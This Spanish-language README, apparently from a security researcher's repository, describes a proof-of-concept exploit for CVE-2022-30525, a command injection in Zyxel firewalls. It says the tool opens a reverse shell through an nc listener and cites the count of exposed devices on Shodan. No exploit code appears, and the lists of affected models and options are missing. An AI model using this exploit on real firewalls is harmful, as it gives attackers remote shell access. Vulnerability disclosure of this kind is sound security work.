jbaines-r7/victorian_machineryExploit de prueba de concepto para CVE-2022-30525 (inyección de comandos en firewall Zxyel)
Maquinaria Victoriana es una prueba de concepto de exploit para CVE-2022-30525. La vulnerabilidad es una inyección de comandos remota no autenticada que afecta a los firewalls de Zyxel que soportan aprovisionamiento zero touch. Zyxel lanzó una corrección para este problema el 28 de abril de 2022. Se sabe que los siguientes modelos están afectados:
Al momento de escribir esto, había más de 16,000 dispositivos afectados visibles en Shodan. Exponer la interfaz de administración web no es la configuración predeterminada, lo que implica que hay muchos más sistemas afectados no expuestos a internet. Estos sistemas también admiten actualización automática (no habilitada por defecto), por lo que un buen subconjunto ya está parcheado contra este problema.
Maquinaria Victoriana explota el objetivo y atrapa una reverse shell usando un listener nc bifurcado. Esto fue probado en Ubuntu 20.04. El PoC intenta ejecutar /usr/bin/nc por defecto. Si tu nc está en otro lugar, necesitarás actualizar la opción . Ve el menú de ayuda completo a continuación:
